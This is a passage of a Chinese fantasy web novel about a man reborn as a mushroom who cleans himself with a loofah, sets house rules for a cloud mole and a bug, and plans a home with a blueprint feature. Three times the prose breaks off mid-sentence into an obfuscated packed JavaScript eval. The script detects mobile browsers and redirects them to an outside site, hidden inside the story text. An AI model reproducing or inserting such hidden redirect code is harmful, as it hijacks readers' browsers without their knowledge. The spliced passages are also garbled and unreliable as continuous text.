平台经过这么一番鸡飞狗跳,本就寒酸的家底更显凌乱。被褐色菌丝沾过、爬过的边边角角,云壤颜色发黑发暗,摸着就松散。虫子爬过踩过的地方,也乱七八糟。 但奇怪的是,露出来的夹心层反而有种活过来的架势。 颜色看着比之前深了些,不再是那种死板的灰白。他一菌丝甩过去,非但不觉得硌得疼,反而感觉像是甩在了一床旧棉被上,软乎乎的,还挺……舒服? 就是这棉被似乎有点粘。好些之前被虫子、被菌丝折腾掉的松散云絮,这会儿都半粘不粘地挂在夹心层表面,要飞不飞的样子,看着就邋遢。 弄得旁边明明已经饿得肚子咕咕叫的蓬蓬兽们,都绕着走,不太敢下嘴了。 至于那些原本种在上面的远房亲戚们,更是被挤得乱七八糟。 全都你挨我我挨你的,胡乱挤在中间这一小片,分不清谁是谁的地盘。 远远的看过来,就像个遭了灾的杂草堆,一点章法都没有。 盛棠只看了一眼,就觉得菇天都要塌。 平心而论,他自认不是个对“规整”有过分追求的菇。但是他心里也是有属于自菇的那点圈地本能的。 盛棠心里明白,他大概率很长一段时间,都得留在这片云上了。甭管日子多难,至少得保证家里的基础整洁吧? 而且,这些植物明显也不是特别适合全都挤在一起瞎长。 日光草是需要光的,凝露草能提供稳定微光和滋润,它俩凑一块,互相有个照应,挺好。 那褐色云菌是分解者,而星纹草的根似乎能稍微克制它,这俩放一块,能互相牵制,形成个微妙的平衡。 而云苔……这玩意儿不挑,给点水汽和缝隙就能长,生命力顽强,随便哪里洒点都行,还能帮忙固定一下表层云絮,当块毛茸茸的小地毯。 至于他自己么,虽说现在能跑能跳了,但菇就是菇,还是需要地盘和养分,在自己规划搭建的地方住一个大单间,总不过分吧? 这么一盘算,盛棠忽然有些感谢这突如其来的暴乱了。不然,他可能还要一段时间才能意识到这个问题呢。 不能再这么瞎凑合下去了。趁着修补的机会,正好把老区也收拾收拾,该分的分,该合的合,该挪的挪。 饿极了的蓬蓬兽们咕噜噜地滚到盛棠跟前,三只毛茸茸的小脑袋此起彼伏的去轻轻撞盛棠那不算粗壮的菌杆。 撞的力度其实很轻,对它们圆滚滚的身体来说,可能就像撒娇。 可问题是,蓬蓬兽的个头,是盛棠这朵“纤细”蘑菇的好几十倍大! 那沉甸甸的分量,哪怕只是轻轻一碰,对盛棠来说,也跟被几个毛线团炮弹连续轰击没什么两样。 “等、等等!别撞——哎哟!” 盛棠话没喊完,就被接二连三的撞击撞得整个菇身向后一仰,漂亮的粉色伞盖划出一道绝望的弧线,然后—— “噗叽!” 伞盖连带大半截菌杆,结结实实的栽进了身后那片因为云平台“泥泞”里。 盛棠:“……” 他整个菇都懵了,菌丝僵在半空,维持着向后倒的滑稽姿势,只有伞盖边缘还露在外面一点粉晕。 世界突然变得黑暗、潮湿,还充满了……一股说不出的、甜腻中带着腐烂的复杂气味。 几秒钟后,他才反应过来,试图把自己从这片“泥潭”里拔出来。菌丝胡乱扒拉着旁边的硬实云壤,菌杆吃力地向上拱。 “啵”的一声轻响,伴随着一些粘稠的、颜色可疑的“泥浆”被带起,盛棠总算把自己的伞盖,从泥泞里拔了出来。 他晃了晃菌盖,甩掉一些附着物,然后低下伞盖看向自己。 这一看,他整朵菇都不好了。 后半截菌杆,连同伞盖背面的一大片,全都裹满了粘稠、深褐色的泥巴。 这泥巴质地怪异,不像普通湿云絮,反而更像是下层云海里,最常见的那种半流质的、混合了腐烂植物和奇怪发酵物的糊糊。正散发出那种浓郁的让他菌褶都想闭合的甜腐味。 “呕——”盛棠控制不住地干呕了一下,只觉得那股味道直冲伞盖,熏得他晕头转向。 菌丝都因为这过于刺激的气味而微微发颤,伞盖上的粉晕也黯淡了不少,沾满了泥点,狼狈不堪。 而那三只蓬蓬兽也终于意识到自己闯了大祸。 它们飞快地凑到一起,把自己团成一个更大的毛茸茸巨团,三双黑豆小眼睛从绒毛缝隙里怯生生地露出来,心虚又害怕地望着盛棠。 “啾啾啾!” “啾啾啾!” “啾啾啾!” 盛棠看着自己一身狼狈,又看看那三个缩成一团,可怜巴巴的毛团子,一肚子火发也不是,不发也不是。 沉默了半晌,也只能自认倒霉了。 “算了算了,不怪你们……饿了是吧?等等给你们找饭。先、先让我清理一下……”盛棠有气无力地嘟囔着,开始尝试用干净的菌丝前端,刮掉身上那些粘稠恶心的泥巴。 这味道,这触感……菇生,你真是太难了! 菌丝刮泥倒也不是全无用处。不一会儿功夫,盛棠整朵菇看着就清爽了大半,至少不再是刚才那副刚从泥潭里捞出来的惨样。 只剩下些顽固的泥点子,还星星点点的缀在他浅粉色的伞盖和菌褶裙摆上。 那股子甜腐味依旧若有若无地萦绕在四周。或许是因为在“泥坑”里待了一会儿,嗅觉被迫适应了,盛棠发现自己居然……不怎么想干呕了? 这个发现让他整朵菇都僵了一下,随即涌上一股难以言喻的自我嫌弃。 他以前……好歹也是个清清爽爽、爱干净的人啊!这才在云海上当蘑菇多久?居然这么快就堕落到能坦然忍受自己身上带着腐败气味了? 菇生的底线,难道就是这么一步步降低的吗? 盛棠在心里哀怨的叹了口气。 他看着自己那几根因为反复刮泥而同样变得脏兮兮,活像几根小泥棒槌的菌丝,心头那股憋闷劲儿噌地一下就窜了上来,变成一股无处发泄、只想撞墙的无能狂怒。 天呐!他是不是被植物的身份同化得太彻底,连基本的“菇脑”都丢掉了? 他究竟是怎么会想到“用自己身上的菌丝,去刮擦自己伞盖和菌杆上的泥巴”这种蠢到家的主意的? 这不就相当于……把左边口袋的垃圾,倒腾到右边口袋吗? 那些粘稠、恶心、带着怪味的泥浆,总量一点没少,只不过是从伞盖和菌杆上,转移附着到了他的菌丝上。 这能叫“干净”?这顶多算是“脏得均匀了点”。 真要彻底弄清爽,要么,就得有流动的水,把那层泥浆彻底冲洗掉。要么,就该用干净的云絮当抹布,把污渍通通擦走啊! 盛棠抬起一根菌丝,轻轻给了自己一下,又立刻用这根菌丝尖,从旁边卷起一小片只沾了一丁点泥泞的蓬松云絮,“啪叽!”一下,拍在了其中一根沾满泥浆的菌丝上。 那片蓬松的云絮瞬间被菌丝上那层半湿不干的泥浆给浸透了,变成了湿哒哒的一小片。 薄薄的,不怎么服帖的裹在那根泥棒槌表面,非但没把上头泥擦掉多少,反而让泥浆晕染开来,和云絮的纤维彻底纠缠在一起。 原本不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157675|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大明显的云絮结构现在无处遁形了,露出里头纵横交错的经络来,很像过去那种劣质粗布的织造工艺。 盛棠:“……” 他看着那明显不堪大用的云絮抹布,整朵菇都陷入了一种深深的无力感。 这法子……怎么反而更糟心了? 蓬蓬兽们瞪大了眼睛,不敢置信的看着盛棠。 小眉毛一竖,巨大的毛绒团子立刻分化成三只,把盛棠一围,啾啾的嚷嚷个不停。 盛棠被这几只饿极了的蓬蓬兽吵得菇头都大了。加上清理失败和一身脏污的憋闷,一时冲动,也顾不得那根菌丝还沾着泥、裹着湿云絮,直接将它朝着叫得最响的那只蓬蓬兽面前一递。 “喏!看清楚了,这能吃吗?”盛棠的语气怎么听怎么的不耐烦。 蓬蓬兽吓得“啾!”了一声,圆滚滚的身体猛地向后弹开好几步,绒毛都炸了起来。另外两只也受惊般躲远。 三双黑豆眼瞪得圆圆的,又惊又怒的盯着盛棠,啾的更加急促了。 盛棠:“……” 跟一群饿晕了头、认定云絮是美味的小毛团子,能讲清楚“清洁”和“浪费”的区别吗?显然不能。 他蔫蔫地收回菌丝,自己也觉得这举动有点幼稚且毫无意义。 算了,跟它们较什么劲呢?当务之急,是解决清洁问题,还有……喂饱这几个吵闹的小祖宗。 盛棠叹了口气。弄不干净自己,他实在没心思给蓬蓬兽找饭。 可云絮当布的念头已经絮毁念亡了,就剩下用水清洗这一条路了。 可问题是,他现在水里根本没有可供使用的水啊。 平台边缘的那个水云团子已经因为之前灌溉凝露草而明显缩水。剩下的部分他得留着用来浇地养植物,不可能拿来洗澡。而收集到的云露量少不说,还金贵的,自己喝都不敢喝多。 巧菇难洗无水之澡,他不能就这么脏兮兮的在这儿等待一场洗濯天地云海的瓢泼大雨吧? 就在这时,一直安安静静待在旁边的云鼹鼠忽然“嘤”地叫了一声。 声音不大,却刚好把盛棠那点自怨自艾的思绪给拽了回来。 他偏过沾着泥点的伞盖一看,只见云鼹鼠正用它那颗毛茸茸的小脑袋,把那只一直躲在它身后装鹌鹑的胖蚀云虫,一点一点地往盛棠跟前顶。 盛棠:“?”这小东西又想干什么? 那蚀云虫显然是被这突如其来的“推介”给弄懵了,整个虫身都快僵成一根棍儿,直挺挺地戳在那儿。 被云鼹鼠顶一下,就笨拙地往前挪一小步,自己半点主意都没有,黑豆似的小眼睛里写满了茫然。 云鼹鼠见它这副呆样,恨铁不成钢地瞪了它一眼。然后,它不再管那傻虫子,自己转身跑到盛棠面前,抬起一只干净的小爪子,不轻不重地、在盛棠那根沾满泥浆的泥棒槌上踩了一脚。 盛棠:“!” 菌丝下意识想缩回来,但为时已晚。 云鼹鼠已经抬起了那只沾满泥巴的小爪子。 它看都没看自己的爪子,转身,举着那只爪子,一路一蹦跶着回了那只还在发傻的蚀云虫面前。 在盛棠和蚀云虫双重懵逼的注视下,云鼹鼠把它那只脏兮兮的爪子,径直伸到了蚀云虫的面前。 它甚至努力的把小爪子又往上抬了抬,几乎要碰到蚀云虫那带着细密倒刺、看起来就不太友好的嘴了。 云鼹鼠:“嘤!” 蚀云虫:“?” 它看起来似乎更傻了,呆滞地转动着身体,看看伸到面前的脏爪子,又看看云鼹鼠那张严肃的鼠脸,一动不动,似乎是在努力理解这个超纲的指令。 云鼹鼠等了片刻,见它没反应,显然急了。它气鼓鼓地原地蹦跶了一下,伸出另一只干净的爪子,不客气地拍了蚀云虫胖乎乎的侧面一下,把声音也拔高了些,带着点明显的暴躁:“嘤嘤!” 这一拍一吼,总算把蚀云虫从宕机状态拍醒了一丝。它似乎……大概……可能……明白了点什么? 蚀云虫严肃的点了点脑袋,然后一扭身,振动着翅膀,飞走了。 21. 和云鼹鼠的谈判 盛棠:“?”这又是什么情况? 他看向云鼹鼠。 小家伙倒是气定神闲的很,半点没有计划失败的懊恼。 它反而甩了甩那只还沾着点泥的爪子,黑豆眼望着蚀云虫飞走的方向,小胸脯挺着,一副“等着瞧吧”的笃定模样。 盛棠见状,虽然满心疑惑,但看云鼹鼠这么稳,心里那点焦躁也莫名平复了些。 他把沾着泥点的菌褶裙摆轻轻抖了抖,安下心来,决定看看这小家伙到底要给他变出什么惊喜来。 果然,没过几分钟,那片灰蒙蒙的云絮背景里,就传来了熟悉的“嗡嗡”声。 是那只胖蚀云虫去而复返。而且那家伙还不是空手回来的。 细弱的节肢正吃力地抱着一个比它自身大了几十倍的不规则包裹,晃晃悠悠的朝着平台降落。 “噗”的一声轻响,包裹落地,扬起一小撮云尘。 云鼹鼠立刻冲上去,用脑袋对准包裹边缘轻轻一拱、一挑—— “哗啦。” 包裹散开,里面滚出好几片大小不一、颜色灰白、质地看起来干燥疏松、布满网状纤维的……片状物? 云鼹鼠看也没看,径直叼起其中最大、最完整的一片,献宝似的快步跑到盛棠面前,高高举起,小尾巴还得意地摇了摇。 盛棠用菌丝接过那片东西。触手干燥轻盈,结构是致密又蓬松的网状,带着植物纤维特有的粗糙感,但又不算太硬。 【丝瓜瓤】 【分类:植物副产品/清洁用品】 【描述:彻底成熟、干燥老化后的丝瓜内部纤维网络。历经风干,质地坚韧,吸水性强,结构多孔,是天然优良的清洁与擦拭材料。】 【备注:云海某处遗落的生活智慧?虽然旧了点,但很好用。建议使用前抖抖灰。】 丝瓜瓤?盛棠下意识地用菌丝尖挑了挑那交错的纤维网络。 他倒是真没想到,在这荒诞不经的云海世界里,一只傻乎乎的蚀云虫,居然能翻出这么有生活气息的玩意儿! 不过……来得正好。刚好能解了他身上的燃眉之急。 盛棠挑了挑,用菌丝卷着那片丝瓜瓤,在空中抖了两下,才盖在了自己的伞盖上。 视野突然就暗了下去,黑漆漆的一片,让菇不由自主的心慌。 好在盛棠相信自己的住客们不是那会趁菇之危的主儿,深吸了口气,用菌丝扯着丝瓜瓤的一角,先从最显眼、也最让他难受的伞盖开始,沿着菌褶的纹路,仔细的擦拭那些干涸的泥点。 丝瓜瓤粗糙的纤维刮过娇嫩的菌褶表面,带来一阵微微发痛的酥麻感,盛棠忍不住打了个哆嗦,擦拭的动作都跟着停了下。 但他很快就忍过了那阵疼痛,又继续了。 毕竟,效果立竿见影的。那些顽固的泥渍,随着丝瓜瓤的摩擦,迅速变成细小的碎屑被刮离,伞盖和菌褶都恢复成了出生时才有的干净模样。 接着是菌杆,最后是那几根饱受摧残的“泥棒槌”菌丝。 盛棠用丝瓜瓤里外仔细擦了个遍,恨不得把每一丝泥腥气都蹭掉。 一通忙碌下来,盛棠整朵菇确实焕然一新,泥污尽去,恢复了原本清爽的样貌。 就是……经过丝瓜瓤这番大力洗礼,他从伞盖到菌杆,乃至每一根菌丝,都透出一种不自然的红色。 像是被狠狠搓揉过,又像是……被扔水里煮了个半熟,摸上去还有点微微发热。 盛棠对着那个水云团子照了照,心里倒是很坦然。 正常,这丝瓜瓤一看就年事已高,粗糙得厉害、 自己这身蘑菇皮虽说有一定韧性,但到底是植物,娇嫩的很,被这么一顿猛擦,不留点痕迹才怪。 不过,能弄干净就行,红就红点吧,总比脏着强。 云鼹鼠见盛棠终于干净了,肉眼可见地松了口气,小胸脯起伏都平缓了。 它巴巴地看着盛棠,又扭头看看旁边那只放下包裹后、就缩在角落继续装乖巧的蚀云虫,皱了皱眉。 它像是下定了某种决心,忽然抬起自己那只之前踩过泥的小爪子,在那片用过的丝瓜瓤上用力蹭了蹭,把爪子上最后一点泥屑也擦掉。 然后,后腿在乱七八糟的云面上一蹬,立起身子,两只前爪抱在胸前,朝着盛棠,像模像样的作了几下揖。 黑豆眼里满是恳求,喉咙里也发出讨好的“嘤嘤”声。 盛棠哪里不懂这小家伙的心思。 虽然他也闹不明白这云鼹鼠到底是怎么和这只看起来傻乎乎、却能找来丝瓜瓤这种实用物件的蚀云虫勾搭上的,甚至成了能互相帮忙的朋友。 但看在这蚀云虫确实解决了自己燃眉之急,而且之前对付褐色云菌时也算出了力的份上,他倒不是不能容忍这家伙在自己的地盘上,划个小小的角落安家落户。 就当是给自己收留下一个能干活的临时工了,谁让他是一朵好心眼的菇呢? 但是,该敲打的提醒,该划下的红线,一点都不能少。 盛棠的菌丝在半空中停了停,菌丝尖尖不偏不倚指向那只还在瑟缩的蚀云虫,上下轻轻一晃。 云鼹鼠的眼睛“蹭”地一下亮得惊人,原本抱在胸前作揖的小爪子瞬间松开,四爪稳稳落地,整只鼠都透出一股“太好了!”的兴奋劲。 它脑袋一扭,刚想去拱蚀云虫,,那根刚刚表示“同意”的菌丝,却忽然调转了方向。 它缓缓的延伸出去,远远的指向了平台之外,那片茫茫云海之中。 云鼹鼠:“?” 它正要扭过去的脑袋僵住了,困惑地歪向一边,黑豆眼里满是不解。 这是……同意蚀云虫留下,还是……不同意呀?指着外面是什么意思?难道是要把虫子赶去云海里住?那跟杀了它有什么区别? 盛棠没有立刻解释,另一根菌丝轻轻抬起,在靠近平台边缘的一片云壤上拍了拍。 “噗、噗。” 几团相对蓬松的云絮被拍得微微溅起,露出了下面一块表面布满了细密的、不规则的啃噬痕迹,结构变得松散,甚至有些地方已经出现了细微的孔洞的云立方。 云鼹鼠看了看那块受损的云立方,又看了看盛棠,大概是懂了。 它调转过小身子,一溜烟地蹿到了盛棠菌丝指着的的虚空附近,硬生生跑出了一个四四方方的虚拟轮廓来。 云鼹鼠在其中一角停下,转过身,朝着盛棠,歪了歪脑袋:“嘤嘤嘤?” 盛棠点了点那根一直伸着的菌丝。 跟聪明鼠沟通就是省心啊,根本不用费劲比划一大堆,稍微给点提示,它立刻就能领会到自己的意思了。 云鼹鼠的小眉头立刻蹙了起来,戒备的上下打量着盛棠。 盛棠将云鼹鼠的怀疑看得明明白白,但他丝毫不慌,就维持着那副“条件就是这个条件,爱答应不答应”的平静姿态,菌丝稳稳地指着那个虚拟的悬空框。 他心里门清。 他确实不清楚这片云海到底有多大,还有没有其他更安全、更富饶、更适合抱团生存的地方。 但他知道,云鼹鼠绝对不傻,甚至可能比他和蓬蓬兽、蚀云虫都要更了解这片区域的生存法则和潜在风险。 它既然选择了拖家带口来到他这块简陋的平台,就说明这里至少在目前,是它权衡之下的第一选择。 既然这里是云鼹鼠的第一选择,那么,作为这块地盘目前的“主人”兼“主要建设者”,盛棠觉得,自己稍微“任性”一点,是件非常合理的事情。 毕竟,菇的地盘,菇做主。想要加入这个小小的“家庭”,总得遵守家里的规矩,付出相应的代价吧? 云鼹鼠在原地愣了好一会儿,小胸脯起伏着,黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157676|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆眼在盛棠那不容商量的菌丝、蚀云虫呆傻的模样、还有平台外那个需要耗费大力气才能搭建的“悬空框”之间来回逡巡。 最终,它认命了小脑袋一点,算是勉强接受了这个“扩建新家”的苛刻条件。 它慢吞吞地返回平台中央,黑豆眼极其哀怨的先后狠狠瞪了蚀云虫和盛棠一眼,脑袋一扭,赌气似的用后脑勺对着他们。 盛棠:“?”这就受不住了?菇的条件还没提完呢。 他可不管云鼹鼠那点受伤的小心灵,伸出一根菌丝,毫不客气的在云鼹鼠毛茸茸的肩膀上轻轻拍了拍,示意它:别闹脾气,认真听,规矩还没完。 云鼹鼠被拍得一激灵,猛地转回脑袋,罕见地瞪大了眼睛,里面明明白白写着不乐意。 盛棠对此视若无睹。 他继续用那根菌丝,在除了那几撮褐色云菌残骸之外的所有植物上方虚划了一个圈。 菌丝骤然绷直,在圈中心用力地、交叉着划了一个大大的“X”。 想了想,盛棠的菌丝又移向脚下,在附近一块完好的、代表平台基石的云立方上点了点,然后同样干脆利落地在上面划了个“X”。 他还记得清清楚楚,第一次和蚀云虫结下梁子,就是因为这厮在吭哧吭哧啃他的地基! 那时候的地基可比现在这经过折腾后的结构稳固多了。现在这平台,整体结构经不起任何破坏,万一这虫子饿昏了头或者本性难移又来一口…… 那可真是大家一起玩完,同归于尽的节奏。 云鼹鼠显然也明白这个道理有多严重。它的小眼睛虽然还冒着不情愿的火花,但看了看那些赖以生存的植物,又感知了一下脚下平台的状况,最终还是认命地点了点小脑袋。 云鼹鼠吸了吸粉嫩的小鼻子,似乎想把那点委屈吸回去。 它抬起一只小爪子,朝着蚀云虫的方向拍了拍,又回头看看盛棠:“嘤嘤嘤?” 盛棠摇了摇菌丝。既然最重要的两条云鼹鼠都答应了,那他也该见好就收了。 毕竟,他还指着这只蚀云虫帮忙压制可能再生的褐色云菌呢,把“临时工”逼得太狠,对谁都没好处。 恩威并施,才是管理之道。 云鼹鼠见他终于收手,似乎微微松了口气,小脑袋不易察觉地昂起了一点点,递给盛棠一个“算你识相,知道适可而止”的眼神。 它转身走向那只一直处于状况外、呆若木虫的蚀云虫,伸出小爪子,在它冰凉的甲壳上拍了拍,又重重地点了点小脑袋。 蚀云虫显然还是懵圈的,呆傻地看着云鼹鼠上下翻飞的小爪子和一张一合的嘴,半天没见动静。 云鼹鼠等了片刻,见它这副蠢样,气得差点跳起来。 它左右看了看,猛地叼起一小片干净丝瓜瓤,气急败坏地塞到蚀云虫面前,用爪子使劲往它怀里推了推,又指指西边角落。 看到熟悉的丝瓜瓤,蚀云虫那简单的神经似乎终于接上了线。 它整只虫肉眼可见地“亮”了一下,短触须欢快地摆动,连忙伸出节肢,笨拙但紧紧地抱住了那片丝瓜瓤,然后挪动身体,乖乖站到了云鼹鼠身侧。 它还努力振动了几下翅膀,朝向盛棠的方向,竭力摆出一副“我很乖,我很听话,我会好好干活”的温良模样。 盛棠对它的讨好不以为意,只是菌丝随意地摆了摆。 他确实不怎么担心蚀云虫反水,“虫虫克星”的称号和手里的麻痹孢子就是最大的底气。 规矩立下了,警示给足了,剩下的,就看这虫子的表现了。 不过,这也代表着以后的菇生里,又要多了一张需要操心的嘴了。 盛棠看着一鼠一虫凑一起,一会儿“嘤嘤咕咕”、一会儿“嘶嘶呀呀”的,伞盖上的粉晕平静地闪烁着。 啧,怎么他越看就越觉得这画面很是温馨呢? 22. 这住处……好像被云鼹鼠安排得明明白白?^…… 盛棠越想越觉得前路黯淡,简直想两眼一闭,当朵什么都不用操心的傻蘑菇算了。 他压根儿不想再去那个又黑又粘、危机四伏的下层资源区,怕一不小心又惹出什么解决不了的祸事。 可家里,除了他自己,实在没别的壮劳力了啊! 蓬蓬兽能滚能压,但挖土采石精细活干不了。云鼹鼠机灵但体型小力气有限,蚀云虫……不帮倒忙就谢天谢地了。 算来算去,这种苦活累活脏活,似乎还是得落在他自己这朵可怜的蘑菇家主的头上。 但他是真不想去啊! 可是不去就会缺材料,没材料就没法建家。没有新家,旧家的危险系数只会越来越高,到头来还是得去下层搞材料…… 淦!死循环了。 他越想越乱,越乱越烦,菌丝都控制不住地蜷缩在一起,打了个死结。 盛棠叹了口气,抬起一根菌丝,带着点逃避现实的意味,“啪嗒”一下,按在了手边那个装死许久的平板上。 算了,先别想那些糟心事了。看看【记事】吧!说不定系统就良心发现,给点新提示,或者记录点能分散注意力的事情呢? 平板屏幕应声亮起。盛棠的目光习惯性地扫向主界面,准备点开【记事】…… 然后,顿住了。 【筑造】界面的图标旁边,居然多出了一个他从未见过、散发着蓝色微光的新图标,下面标注着两个字:【蓝图】。 盛棠心头一跳,赶紧用菌丝点进去。 映入眼帘的,是一张只有极其细微的网格底纹的“纸”,或者说画布。他的菌丝在画布上一放,就能在上面自由地拖拽、移动,勾勒出简单的线条和形状。 蓝图的最上方,有一行清晰的标题和简短的描述: 【蓝图】 【描述:一块完全自由的画布,供你绘制与调整理想家园的蓝图。】 【备注:当材料准备充足,并满足特定条件时,家园或许能依照蓝图,自动投射进现实哦】 自动……投射进现实?系统这是在他不知道的时候,悄悄更新了功能? 盛棠立刻退出【蓝图】,点进【记事】快速翻阅。果然,在最近几条关于褐色云菌和平台扩建的记录之后,夹杂着一条不起眼的更新: 【星月历2015年1月21日14:03:11:检测到宿主初步掌握规划意识与基础建造能力,解锁辅助功能【蓝图】。请善加利用。】 还真是!居然给了这么个实用功能! 虽然“自动投射”听起来还有点玄乎,但至少有个能让他直观规划的工具了! 盛棠微微收拢菌褶,粉嘟嘟的伞盖因为专注而向前倾了倾,几乎挡住了下面洁白的菌杆。 既然有了这个“作弊器”,那他可得好好琢磨,仔细规划一下了!至少不能再像之前那样东一榔头西一棒槌。 他正准备静下心来,好好在【蓝图】上比划比划,先从核心平台的功能分区开始勾勒—— “嘤!” 云鼹鼠不知何时又凑了过来,小脑袋挨到平板旁边,黑豆眼好奇地盯着屏幕上那片空白的网格。 它歪头看了看盛棠,又看看屏幕,忽然伸出小爪子,在平板上笨拙地划拉起来,留下了两个歪歪扭扭、边缘毛糙的圆圈。 画完之后,它用小爪子拍了拍其中稍小、画得相对圆润些的那个圈,然后指指自己。又拍了拍旁边那个更大、更扭曲的圈,指了指不远处还在抱着丝瓜瓤发呆的蚀云虫。 做完这些,它才把毛茸茸的小脑袋往盛棠低垂的伞盖下一探,仰起脸,露出了个又大又标准的笑容来:“嘤嘤!嘤!” 盛棠一愣:“你的意思是……你想跟蚀云虫挨着住?” 云鼹鼠的眼睛“蹭”地一下亮得惊人,随即疯狂点头,小脑袋点得都快晃出残影了:“嘤嘤嘤!嘤嘤嘤!” 它的小爪子迫不及待地把平板上那两个歪扭的圆圈又往一块扒拉了几下,几乎要叠在一起。 盛棠的菌丝随着那动作微微动了动,被伞盖遮住的菌褶轻轻一缩,挤出一声细不可闻的笑来。 这小家伙,算盘珠子打得可真响。这哪里是“挨着住”,分明是想“住一块儿”啊。 云鼹鼠却浑然不觉有什么问题,它转过身,用爪子拍拍自己毛茸茸的小胸脯,又抬起另一只爪子,郑重其事地指了指不远处还在抱着丝瓜瓤发呆的蚀云虫。 然后,它埋下头,小嘴从地上叼起一颗小石子,脑袋一昂、一甩,石子被高高抛起,又稳稳地落在了它的小爪子上。 “嘤嘤嘤!嘤嘤!” 小家伙把托着石子的爪子往盛棠跟前一递,小胸脯挺得高高的,黑豆眼亮晶晶地望着他,满脸都写着“看我的本事”。 盛棠看明白了。 蚀云虫是它带来的,它有责任看好这家伙,所以最好住在一起,方便它随时管理。 “你是说,虫是你带来的,所以你得负责看着它,免得它闯祸?”盛棠再次确认。 “嘤!嘤嘤!”云鼹鼠点头如捣蒜,甚至还伸出爪子,小心翼翼地在盛棠的菌丝上轻轻拍了拍。 动作虽说轻得像挠痒痒,可那意思却再明显不过:老大英明!老大懂我!老大最好了! 盛棠的菌丝微微动了动,算是回应。 但他的伞盖下,那截亭亭玉立的白杆杆却没什么太大变化,只是平静地看着云鼹鼠卖力表演。 蚀云虫有人看着,当然是好事。能省他不少心。 但这个“看管者”的人选……让云鼹鼠来,真的合适吗? 盛棠的菌丝无意识地轻轻蜷了蜷。 这小家伙是聪明,机灵得很,甚至懂得谈判。当初说要留下的时候,那叫一个有理有据、情真意切。后来也确实帮了些忙,还懂得为他分忧,主动揽活。 它越是这样主动揽责、积极表现,盛棠心里反而越不踏实。 它太聪明了,聪明到每一步都像是提前算好的。这种主动绑定,有时候比被动留下更让菇多想。 偷偷在他家附近埋种子,引来蚀云虫,又主动表示要留下干活“抵债”。现在更厉害了,出去一趟,大摇大摆地带回来个“前害虫现益虫”的新成员不说,还非但不觉得心虚,反倒摆出一副“我给咱家添丁进口了”的邀功架势。 这桩桩件件的,看似是在补偿他这朵蘑菇,可细细一盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197038|193423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算,从头到尾,主动权似乎都在它那小爪子里握着。 盛棠的菌丝在平板边缘轻轻点了点。 这样的云鼹鼠,能让他多放心呢? 万一哪天,它觉得跟着自己这朵蘑菇没前途了,或者有更大的利益诱惑找上门,它会不会二话不说,带着它的小弟,甚至可能拐走蓬蓬兽,一起“叛变”? 到时候卷走点什么,或者反过来给平台造成破坏…… 盛棠的菌丝又蜷了一下。 把看管潜在风险源的任务,交给另一个潜在的不稳定因素…… 这感觉,有点像把仓库钥匙交给了一个心思活络的临时工,还指望他能帮自己看好另一个更不靠谱的临时工啊…… 怎么想都让菇觉得别扭的慌。 那边的云鼹鼠似乎完全没察觉到自己正在被风险评估中,还在那边努力展示着和蚀云虫同居的好处。 它比比划划,小爪子一会儿指自己眼睛,一会儿指蚀云虫的方向。一会儿又拍拍胸脯,指指蚀云虫,再猛地向上一跳,四爪大开“啪”地扑在地上,爪子牢牢按住云面。甚至立起身子,将两只小爪子“啪叽”一声合在一起。 桩桩件件,无不在说:看啊!本鼠有的是本事和力气!把它交给我,你放一百个心!它敢作妖,我第一个收拾它! 盛棠的菌丝无意识地轻轻点着平板边缘。 答应它?还是另外想些更稳妥的法子,来安排这两个“编外人员”的住处和监管呢? 比如把蚀云虫安排在离自己近点的地方,亲自盯着?可那玩意儿又黏又软,还有啃食云絮的旧习,放太近,他晚上估计都睡不踏实…… 或者干脆让它们住远点,平时少接触,降低风险系数?可那样的话,云鼹鼠这货估计要天天来闹,烦也能把他烦死…… 再或者学王母分化牛郎织女的法子?啧,也不行。人家王母是天上地下的主人,说隔就能隔出一条银河来。可他盛棠算什么?不过是自家这一亩三分地的临时户主,又不是这茫茫云海的主人。 那俩小家伙又都腿脚利索得很,真想跑,他还能天天盯着?况且硬要拆开,只怕不但隔不住,反而平白惹出嫌隙和怨气,得不偿失。 思来想去,似乎,放在一起是当前最稳妥的办法了? 盛棠拢了拢伞盖,有些不大乐意。 就在这时,一股极其稀薄的凉意,混合着一种纯净到近乎疏离的气息,悄无声息地拂过平台。 盛棠的菌丝猛地一僵。云鼹鼠比比划划的爪子也瞬间定格在半空。 他们几乎同时感应到了什么,齐齐转向平台的东南角。 只见不远处,一抹白得有些耀眼的修长身影,不知何时已然静静伫立。 是云朝暮! 盛棠心中一紧,整朵菇都进入了高度戒备状态。前倾的伞盖猛地向后一仰,露出底下那截细长的白杆杆。 